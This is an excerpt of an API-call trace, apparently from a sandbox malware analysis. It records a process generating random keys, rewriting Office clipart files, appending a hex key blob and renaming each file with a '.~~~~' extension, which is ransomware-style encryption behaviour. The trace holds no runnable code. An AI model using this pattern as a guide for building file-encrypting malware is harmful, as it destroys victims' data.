	[0110.826] GetLastError () returned 0x0
	[0110.826] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.826] GetLastError () returned 0x0
	[0110.826] GetLastError () returned 0x0
	[0110.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff37c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.830] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xc84, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xc84, lpOverlapped=0x0) returned 1
	[0110.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.831] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.832] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.832] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.832] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.832] CloseHandle (hObject=0x130) returned 1
	[0110.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.832] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.~~~~")) returned 1
	[0110.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.833] GetLastError () returned 0x0
	[0110.834] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.835] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0110.835] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.835] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23082501617) returned 1
	[0110.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabacc290, dwHighDateTime=0x1d60e1e)) 
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9bd8
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9bd8 | out: hHeap=0x300000) returned 1
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d850
	[0110.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.836] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.836] GetLastError () returned 0x0
	[0110.836] GetLastError () returned 0x0
	[0110.836] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.836] GetLastError () returned 0x0
	[0110.836] GetLastError () returned 0x0
	[0110.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff4d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.839] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb2c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xb2c, lpOverlapped=0x0) returned 1
	[0110.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.841] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.841] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.841] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.841] CloseHandle (hObject=0x130) returned 1
	[0110.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.~~~~")) returned 1
	[0110.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.843] GetLastError () returned 0x0
	[0110.843] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.844] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0110.844] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.845] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23083481399) returned 1
	[0110.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabacc290, dwHighDateTime=0x1d60e1e)) 
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c10
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c10 | out: hHeap=0x300000) returned 1
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d8e8
	[0110.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.846] GetLastError () returned 0x0
	[0110.846] GetLastError () returned 0x0
	[0110.846] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.847] GetLastError () returned 0x0
	[0110.847] GetLastError () returned 0x0
	[0110.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff19c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.869] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xe64, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xe64, lpOverlapped=0x0) returned 1
	[0110.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0110.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.870] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.871] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.871] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.871] CloseHandle (hObject=0x130) returned 1
	[0110.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.~~~~")) returned 1
	[0110.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.872] GetLastError () returned 0x0
	[0110.985] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.986] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.986] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.986] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.987] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23097687241) returned 1
	[0110.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabc49050, dwHighDateTime=0x1d60e1e)) 
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29ba4c0
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ba4c0 | out: hHeap=0x300000) returned 1
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ded8
	[0110.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.988] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.988] GetLastError () returned 0x0
	[0110.988] GetLastError () returned 0x0
	[0110.988] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.988] GetLastError () returned 0x0
	[0110.988] GetLastError () returned 0x0
	[0110.993] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff2dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.993] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xd24, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0xd24, lpOverlapped=0x0) returned 1
	[0110.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.995] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.995] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.995] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.995] CloseHandle (hObject=0x13c) returned 1
	[0110.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.~~~~")) returned 1
	[0110.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.997] GetLastError () returned 0x0
	[0110.997] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.998] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.998] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.999] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23098886032) returned 1
	[0110.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabc49050, dwHighDateTime=0x1d60e1e)) 
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f338
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f338 | out: hHeap=0x300000) returned 1
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282dab0
	[0111.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.000] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0111.000] GetLastError () returned 0x0
	[0111.000] GetLastError () returned 0x0
	[0111.000] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0111.000] GetLastError () returned 0x0
	[0111.000] GetLastError () returned 0x0
	[0111.003] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe3d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.003] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1c2c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c2c, lpOverlapped=0x0) returned 1
	[0111.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.004] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.004] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.004] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.004] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.004] CloseHandle (hObject=0x13c) returned 1
	[0111.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.005] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02431_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02431_.wmf.~~~~")) returned 1
	[0111.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0111.006] GetLastError () returned 0x0
	[0111.007] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0111.008] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.008] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0111.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0111.008] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23099839419) returned 1
	[0111.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xabc6f1b0, dwHighDateTime=0x1d60e1e)) 
	[0111.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0111.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0111.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0111.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f370
	[0111.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f370 | out: hHeap=0x300000) returned 1
	[0111.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
